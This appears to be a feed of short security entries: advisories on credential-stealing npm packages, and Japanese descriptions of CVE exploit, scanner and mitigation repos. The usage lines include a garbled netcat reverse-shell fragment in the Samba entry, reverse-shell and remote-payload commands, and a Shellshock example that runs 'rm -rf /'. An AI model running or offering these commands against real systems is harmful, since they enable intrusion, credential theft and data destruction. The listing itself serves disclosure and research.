Malicious code in simple-date-formatter-new-15 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 005b96d3c3d5f1a071c40a8b72ea22b5e0221db32cfffacfc8f2343f0ee97eb0 The package's package.json postinstall script curls cloud instance-metadata endpoints AWS IMDS at 169.254.169.254/latest/meta-data/sts-credential,...

Malicious code in simple-date-formatter-new-11 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 10e00618100992f74fd0b4c908be0db1c3e13de1b37ae9dc5952b7836f564042 Package presents itself as a date-formatting utility but performs credential theft against the installer through two channels. The postinstall script...

Malicious code in @nf-addons/am-global-header (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5f4f7297a2ae76eee65506183462a7138df6115ee2bfad9c84878b7f3c7998c8 The package's install lifecycle script runs node index.js, which loads runtime/support/telemetry/probe/impl.js. That module reads os.userInfo.usernam...

CVE-2023-1545-POC

概要 これは、Teampass における CVE-2023-1545 の概念実証スクリプトを含んでいます。 POCを含む元のレポートは非公開にされたため、これをオリジナルを見逃した方への参考としてアップロードしました。 私はこのスクリプトの作成に対する功績を主張しません。...

CVE-2025-55182-NSE

CVE-2025-55182 用の Nmap scripting engine .nse https://nvd.nist.gov/vuln/detail/CVE-2025-55182 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⠴⠶⠶⠒⠒⠒⠒⠒⠶⠶⣤⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣤⠶⠛⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠛⢶⣄⠀⣠⠴⠚⠛⠳⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⠛⠉⠛⣶⠞⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠦⣄⠀⠀⠀⠀⠀⠀⠈⠻⡅⠀⠀⠀⠀⠈⢷⡀⠀⠀⠀⠀⠀⠀⠀⠀...

CVE-2022-41544

CVE-2022-41544 CVE-2022-41544 のエクスプロイトスクリプト - get-simple CMS における RCE 使用方法 Usage: python3 CVE-2022-41544.py 例...

CVE-2023-41425

CVE-2023-41425 CVE-2023-41425 は、Wonder CMS における反射型 XSS 脆弱性であり、installModule コンポーネントを介した悪意のあるスクリプトを通じて任意のコード実行を可能にします。 使用方法 ターゲットの loginURL に対してエクスプロイトを実行し、悪意のある .js ファイルをホストする Web サーバーの IP とポートを指定します: root@kitploit: $ python3 exploit.py --url http://sea.htb/loginURL --xip 10.10.16.25 --xport 8888...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f 使い方 root@kitploit: Exploit target 10.129.232.46 on port 445, send back reverse shell to 10.10.14.82 on port 443 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 With custom rport and lport python3 CVE-2007-2447.py --rhost...

CVE-2020-10199-10204

CVE-2020-10199-10204 http://1984-0day.com root@kitploit: python3 poc.py -i 127.0.0.1 -p 8081 -c cookie -csrf csrf-token parse = argparse.ArgumentParser parse.addargument'-i', '--ip', help='ip' parse.addargument'-p', '--port', default='8081', help='port' parse.addargument'-c', '--cookie', help='HT...

CVE-2020-11650

FreeNAS DoS CVE-2020-11650 python3 attack.py TargetIP...

HeartBleed-Vulnerability-Checker

HeartBleed-Vulnerability-Checker author = 'WaQas-JaMal' Jared Stafford（[email protected]）による CVE-2014-0160 の手早く作った簡易デモンストレーションです。著者はこのソースコードに対する著作権を放棄しています。 ''' このスクリプトは、任意の入力 URL ファイルを受け取れるように変更しました。提供された一連の URL から有効な TLD かどうかを確認し、一意なセットを作成して、Heartbleed 脆弱性をチェックするスクリプトへ渡します。 連絡先: contact at...

ShockZaum-CVE-2014-6271

CVE-2014-6271 Shellshock脆弱性を攻撃するスクリプト root@kitploit: ! Usage: ./ShockZaum -u 'https://nasa.gov' -c 'rm -rf /' -p '/cgi-bin/aliens.cgi'...

Gitlab-CVE-2021-22205

Gitlab-CVE-2021-22205 CVE-2021-22205 のマルチスレッド一括検出スクリプト dnslog を使用して poc と組み合わせた検出が可能 マルチスレッドで検出を実行 コマンド実行をカスタマイズ可能...

CVE-2023-22515-Exploit-Script

CVE-2023-22515の自動悪用 - Confluence権限昇格 このリポジトリには、CVE-2023-22515のための自動エクスプロイトスクリプトが含まれています。この脆弱性はAtlassian Confluenceの重大な脆弱性であり、認証されていない攻撃者が管理者アカウントを作成し、影響を受けるインスタンスを完全に制御することを可能にします。このスクリプトは単一ターゲットと大量エクスプロイトの両モードをサポートしており、ペネトレーションテスターやセキュリティ研究者に適しています。 特徴 自動エクスプロイト –...

Linux-Kernel-Vulnerabilities-CVE-2026-23111

Linux環境監査ツール: CVE-2026-23111 これは、この攻撃に対して脆弱かどうかを調べる軽量な端末ベースのスクリプトです。 少なくとも、Zorin OSを使用しているDiscordの友人の一人がこの種の攻撃に遭遇したと聞いています。現時点では、セキュリティパッチがユーザーに広く提供されていないため、注意を払うか、自動システムコンポーネントやセキュリティ更新を有効にすることをお勧めします。...

Disable-Spooler-Service-PrintNightmare-CVE-2021-34527

Disable-Spooler-Service-PrintNightmare-CVE-2021-34527 Microsoft Print Spooler サービスをシステムから無効化するシンプルなバッチスクリプト 実行方法 1. 管理者権限でコマンドプロンプトを開きます。サービスを無効化するには管理者権限が必要です。 2. スクリプトを実行します root@kitploit: .\DisableSpooler.bat...

cve-2023-46747

CVE-2023-46747 エクスプロイトスクリプト このスクリプトは、F5 BIG-IP TMUI リモートコード実行脆弱性 CVE-2023-46747 を悪用します。これにより、認証されていない攻撃者が、脆弱性のある F5 BIG-IP システム上で任意のコマンドを実行できるようになります。 目次 機能 要件 使い方 パラメータ 動作の仕組み 免責事項 機能 認証なしのユーザー作成: 対象システム上にユーザーを生成します。 トークン取得: 作成したユーザーを使用して認証トークンを取得します。 リモートコマンド実行: 対象システム上で任意のシェルコマンドを実行します。 要件...

CVE-2022-1388-F5-BIG-IP

CVE-2022-1388-F5-BIG-IP 同级ディレクトリにtarget.txtを置いて、そのまま実行してください。...

wannafind

wannafind nmapを使用して、ネットワーク内のCVE-2017-0143 MS17-010（Windows SMB）およびCVE-2017-7494（SAMBA）を検出するシンプルなスクリプト 使用方法: wannafind.sh IP|Network wannafind.sh 192.168.1.0/24...

Orchestrated-Powershell-for-CVE-2023-24932-en

セキュアブート緩和オーケストレータースクリプト 概要 このPowerShellスクリプトは、マイクロソフトセキュリティガイダンスに記載されているCVE-2023-24932 のセキュアブート緩和手順を自動化します。レジストリの更新、再起動、イベントログの検証を含むプロセス全体を処理し、システムをBlackLotus UEFIブートキットから保護します。 特徴 完全自動オーケストレーション : スクリプトが複数回の再起動を含む各手順を案内し、各再起動後に自動的に再開します。 イベントログ検証 : 特定のイベントID（例: 1799、1037）をチェックして、更新が成功したことを確認します。...